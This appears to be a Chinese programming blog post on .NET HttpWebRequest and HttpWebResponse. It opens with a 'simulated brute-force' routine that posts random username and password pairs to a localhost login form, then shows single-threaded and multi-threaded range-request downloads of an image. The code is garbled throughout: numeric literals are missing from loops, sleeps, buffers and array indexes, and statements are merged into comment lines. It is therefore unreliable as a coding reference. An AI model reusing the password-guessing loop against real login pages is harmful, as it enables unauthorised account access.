Net中httpResponse和httpRequest的简单实用;

时间:2023-03-09 05:53:18
Net中httpResponse和httpRequest的简单实用;

这对象很简单,封装很多常用的方法和属性;使用起来也很方便;

这个关键是要对我们的 http中的各种协议要很了解滴呀;

模拟一个简单的暴力破解:

  public static class HttpInfo
{
public static void Attack()
{
string url = "";
var request=(HttpWebRequest)WebRequest.Create(url); //请求对象滴滴呀 var response = (HttpWebResponse)request.GetResponse(); //得到响应对象; Stream stream = response.GetResponseStream(); //得到这个响应流滴呀; StreamReader read = new StreamReader(stream); //流转化; string content = read.ReadToEnd(); //这样就得到我们的响应的文本信息了滴呀; } //然后这个就是我们的暴力破解的代码;
public static void VoilteFuck()
{ string url = "http://localhost:3837/Login/index";
string pre = string.Empty;
for(int i = ; i < ; i++)
{
Console.WriteLine("破解进行中...");
Thread.Sleep(); var userName = new Random(DateTime.Now.Millisecond).Next(,).ToString(); //这里要添加一个我们的seed来提
var PassWord = new Random(DateTime.Now.Millisecond).Next(,).ToString();
var PostInfo = "UserName="+userName+ "&PassWord="+ PassWord;
var bytes = Encoding.UTF8.GetBytes(PostInfo);//将我们的额content变成字节的形式;
var request = (HttpWebRequest)WebRequest.Create(url);
//根据fidller中看到的信息,我们可以模拟追加这样的信息;
request.Method = WebRequestMethods.Http.Post;
request.Timeout = * ;
request.AllowAutoRedirect = true;
request.ContentLength = bytes.Length;
request.ContentType = "application/x-www-form-urlencoded"; //将我们的content写入post请求;
var stream = request.GetRequestStream();
stream.Write(bytes,,bytes.Length);
stream.Close(); var response = (HttpWebResponse)request.GetResponse(); //然后成功的写入到我们的响应流中滴呀; //获取请求的值;
var sr = new StreamReader(response.GetResponseStream());
var currentContext = sr.ReadToEnd();
if (string.IsNullOrEmpty(pre))
{
pre = currentContext;
}else
{
if (pre != currentContext) //这种判断是不太精确的,应为;mvc中有一个EnableBrowserLink,想page中插入随机js代码;所以,算了,这只是一个简单的模拟;
{
Console.WriteLine("第{0}次之后,破解成功,破解成功,破解成功,账户是:{1},密码是:{2}", i,userName, PassWord);
break;
}
else
{
Console.WriteLine("第{0}次,账户是:{1},密码是:{2}", i, userName, PassWord);
}
}
}
Console.WriteLine("尝试完毕!"); } }
}

上面是向我们的service端不断的post提交东西,接下来我们尝试从service download一些信息;

先尝试我们的额单线程模式

 //通过http,开启多个线程,来下载我们想要额基本东西滴呀;
public static class DownInfo
{
//这个是学习http的一个很好的实例滴呀;
//每个线程下载的字节数,方便我们最后的合并滴啊
public static ConcurrentDictionary<long, byte[]> dic = new ConcurrentDictionary<long, byte[]>(); // http://imgsrc.baidu.com/baike/pic/item/dc854fda6c02ee8db7fd4805.jpg
public static string ResourceUrl = "http://www.pncity.net/bbs/data/attachment/forum/201107/30/1901108yyd8gnrs2isadrr.jpg"; //启用单线程的方式来进行下载
public static void RunSingle()
{
Stopwatch watch = new Stopwatch();
watch.Start();
Console.Write("下载开始......");
if (GetHead() == )
{
return;
}
var request = (HttpWebRequest)HttpWebRequest.Create(ResourceUrl); var response = (HttpWebResponse)request.GetResponse(); var stream = response.GetResponseStream();//得到我们额响应流滴呀 var MStream = new MemoryStream(); //这使用我们的内存流滴呀; var bytes = new byte[]; int count = ; while((count=stream.Read(bytes,,bytes.Length))!=)
{
MStream.Write(bytes,,count); //写入到我们的内存流中滴呀;
} //然后存到我们的本地中;
var name = ResourceUrl.Substring(ResourceUrl.LastIndexOf('/') + );
var target = @"F:\\xiandao_person\\"+name;
FileStream fs = new FileStream(target,FileMode.Create,FileAccess.ReadWrite);//其他信息: 对路径“F:\xiandao_person”的访问被拒绝。(没有添加文件名导致的,就是我们的name滴呀;)
fs.Write(MStream.ToArray(),,(int)MStream.Length);
MStream.Close();
response.Close();
watch.Stop();
Console.WriteLine("下载结束,单线程下载耗时:{0}",watch.Elapsed);
//好的,这下我们的图片下载就基本结束了, }
//获取响应头的信息滴呀;
private static long GetHead()
{
var request = HttpWebRequest.Create(ResourceUrl);
request.Method = "Head";
request.Timeout = ; var response =(HttpWebResponse)request.GetResponse();
var code = response.StatusCode;
if (code != HttpStatusCode.OK)
{
Console.WriteLine("下载资源无效!");
return ;
}
var total = response.ContentLength;
Console.WriteLine("当前资源大小为:"+total);
response.Close();
return total;
} //顺便复习一下常见流的操作滴呀;
private static void Read()
{
string url = @"";
FileStream fs = new FileStream(url,FileMode.Open,FileAccess.Read);
byte[] by = new byte[fs.Length];
fs.Read(by,,(int)fs.Length);//将我们的数据读入我们的by字节数组中滴呀;
}
//文件的写入操作的啊;
private static void Write(string val)
{
byte[] buffer = Convert.FromBase64String(val);
string path = @"";
FileStream fs = new FileStream(path,FileMode.Create);
fs.Write(buffer,,buffer.Length);
fs.Flush();
fs.Close();
} }

接下来就来尝试我们的多线程模式滴 ;

 //后面我们考虑,使用并发编程来进行下载的呀,同样提高效率滴呀;不,并发编更多的是用在本地计算中的;
//多线程来进行请求,然后拼接在一起,这个是一个很不错的实例和使用方式滴呀;,效果很不错

public static CountdownEvent cde = new CountdownEvent(0);
           public static ConcurrentDictionary<long, byte[]> dic = new ConcurrentDictionary<long, byte[]>();
           public static string ResourceUrl = "http://www.pncity.net/bbs/data/attachment/forum/201107/30/1901108yyd8gnrs2isadrr.jpg"

        public static void RunMultiTask()
{
Stopwatch watch = Stopwatch.StartNew();
Console.Write("下载开始......");
int threadCount = ;
long start = ;
long end = ;
var total = GetHead();
if (total == ) { return; } int pageSize = (int)Math.Ceiling((double)total / threadCount);//“每一页”的大小
cde.Reset(threadCount);
Task[] task = new Task[threadCount]; for(var i = ; i < threadCount; i++)
{
start = i * pageSize;
end = (i + ) * pageSize - ; //因为,小标是从0开始的,所以这里要减去一滴呀;
if (end > total)
end = total;
var obj = start + "|" + end;
task[i] = Task.Factory.StartNew(j=> DownTaskMulti(obj),obj);
}
Task.WaitAll(task);
var name = ResourceUrl.Substring(ResourceUrl.LastIndexOf('/')+);
var path = @"F:\\xiandao_person\\" + name;
FileStream fs = new FileStream(path,FileMode.Create,FileAccess.ReadWrite);
var result = dic.Keys.OrderBy(i=>i).ToList(); //保证顺序滴啊;
foreach(var item in result)
{
fs.Write(dic[item],,dic[item].Length); //写入到本地中;
}
fs.Close();
watch.Stop();
Console.WriteLine("下载结束,启动{0}个线程,耗时{1}", threadCount,watch.Elapsed);
} /// <summary>
/// 多线程来进行请求,然后拼接在一起,这个是一个很不错的实例和使用方式滴呀;,效果很不错
/// </summary>
/// <param name="obj"></param>
private static void DownTaskMulti(object obj)
{
var single = obj.ToString().Split('|');
long start = Convert.ToInt64(single.FirstOrDefault());
long end = Convert.ToInt64(single.LastOrDefault()); var request = (HttpWebRequest)HttpWebRequest.Create(ResourceUrl);
request.AddRange(start, end); //每次仅仅请求获取制定位置的数据滴呀;,这样的效果还是挺不错滴呀;
//向请求添加指定范围的字节范围标头。
//
// 参数:
// from:
// 开始发送数据的位置。
//
// to:
// 停止发送数据的位置 var response = (HttpWebResponse)request.GetResponse();
var stream = response.GetResponseStream();
var ms = new MemoryStream();
var bytes = new byte[]; //每次取出这么多个字节
int count = ;
while ((count=stream.Read(bytes,,bytes.Length))!=)
{
ms.Write(bytes,,count); //写入我们的额内存流中;
}
ms.Close();
response.Close();
dic.TryAdd(start,ms.ToArray());
cde.Signal(); }

这里有个Task的使用和我们CountdownEvent 的使用滴呀;这个要注意复习和使用滴呀;

这里还要注意复习和了解我们http相关协议的各种知识滴呀;